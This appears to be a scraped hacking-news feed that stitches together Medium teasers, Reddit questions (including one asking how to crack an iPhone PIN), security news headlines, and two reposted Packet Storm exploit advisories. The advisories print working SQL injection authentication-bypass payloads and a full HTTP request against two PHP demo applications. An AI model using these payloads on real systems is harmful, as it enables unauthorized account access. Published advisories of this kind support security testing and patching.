Hacking on Medium
MSFVenom Cheatsheet

https://cdn-images-1.medium.com/max/800/0*fS_V1pE7_XS8kVln.png
MSFVenom, if you’re not already familiar, is the payload creating cousin of Metasploit. With it, you can create a wide variety of…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
$10k host header

I tried a lot of things in many Google services, one of those things was changing the Host header in requests to the App Engine server…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

[FREE GIFT] Offensive Hacking Unfolded Course Without Any Catch by Avinash!
https://www.reddit.com/r/Pentesting/comments/q1879m/free_gift_offensive_hacking_unfolded_course/

submitted by /u/theoffhacker779 (https://www.reddit.com/user/theoffhacker779)
[link] (https://www.reddit.com/r/FreeITCourses/comments/q185gc/free_gift_take_my_offensive_hacking_unfolded/) [comments] (https://www.reddit.com/r/Pentesting/comments/q1879m/free_gift_offensive_hacking_unfolded_course/)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Mandiant Confirms Name Change from FireEye, Inc. to Mandiant, Inc.

The decision to change the corporate name and stock ticker symbol reflects the company’s strategy to focus on Mandiant’s security controls-agnostic solutions delivered through the Mandiant Advantage cloud-based platform.
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
CISA Kicks Off Cybersecurity Awareness Month

CISA will dedicate October to encourage everyone to be cyber smart.
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Android phone hacking using pure reddit private chat

A user with whom I was chatting today on reddit is claiming that he hacked my android phone.I don't even know how its even possible and if it's true or not. We privately chatted (purely textual, no links) and later he said that he hacked my phone completely and now will be leaking the data. He has my device details which are correct, he even knew my posture when I was chatting with him.

Is it possible and what to do now, i have my device factory reset, what other measure should I take?

submitted by /u/f00l_of_a_took
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Brute forec Iphone 6 PIN?

I am trying to recover a password for an old email account and I know a phone I have has it on it. Big issue, I don't remember my PIN from 4 years ago. What software could I use to crack the 4 digit Pin? The Phone does not have any "Above" and beyond security features enabled that did not come with stock IOS back in the day.

submitted by /u/Ok_Side_3260
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
QueenoSno : Golang Binary For Data Exfiltration With ICMP Protocol

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack This Site: Realistic Web Mission — Level 7

https://cdn-images-1.medium.com/max/2048/1*fRe3q7YMLF7XwCUrmnjv_w.png
Thanks for stopping by, today we’re looking at the Hack This Site Realistic Web Mission Level 7. This challenge was a lot of fun…

Continue reading on Geek Culture »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cyber security stack exchange.

https://cdn-images-1.medium.com/max/1589/1*O1SP1_gEevFnp-TQbrsAWw.png
How to start hacking? , what is the path I should follow to become a hacker? what books should I read to gain cybersecurity knowledge?
how…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Domestic Violence Apologism

https://cdn-images-1.medium.com/max/600/1*nYuiYFdfYd8EpoHD1sga2A.png
Recently, I have posted domestic violence posts on my new account, We’re Solving Society, at instagram user werealwaysolvingsociety. The…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Lodging Reservation Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
Lodging Reservation Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | e4175bcca9ec82a6eda311e7c9e874e1

Download
# Exploit Title: Lodging Reservation Management System 1.0 - SQL Injection / Authentication Bypass
# Date: 2021-09-20
# Exploit Author: Nitin Sharma(vidvansh)
# Vendor Homepage: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14883&title=Lodging+Reservation+Management+System+in+PHP+FREE+Source+Code
# Version: v1.0
# Tested on: Windows 10 - XAMPP Server
# Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts.

#Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/lodge/admin/login.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to ' OR 1 -- - and password to ' OR 1 -- -.
Step 5 – Click forward and now you will be logged in as admin.

# PoC:

POST /lodge/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/lodge/admin/login.php
Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=+'+or+1%3D1+--+&password=+'+or+1%3D1+--+
# Authentication Bypass:

# Go to admin login page (http://localhost/lodge/admin/login.php), then use below payload as username and password =>
Username: ' or 1 -- -
Password: ' or 1 -- -

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
College Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-jEyO8wrBbtw/WWlvSr9oRmI/AAAAAAAAINg/irp20P4NPo4dOJoHHzIQ0XpAovWCMUh6wCLcBGAs/s1600/h38.png
College Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 84866bb31f560e1ed138462bda9a7b1b

Download
# Exploit Title: college management system - SQL Injection Authentication Bypass
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://www.eedunext.com/
# Software Link: https://code-projects.org/college-management-system-in-php-with-source-code/
# Version: 1.0
# Tested on: Kali Linux
in login/login.php in line 8 :

$username=$_POST["email"];
$password=$_POST["password"];

$query="select * from login where user_id='$username' and Password='$password' ";
$result=mysqli_query($con,$query);
POC :
http://127.0.0.1/2/College-Management-System/login/login.php
username : ' or 1=1#
password : 123456

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video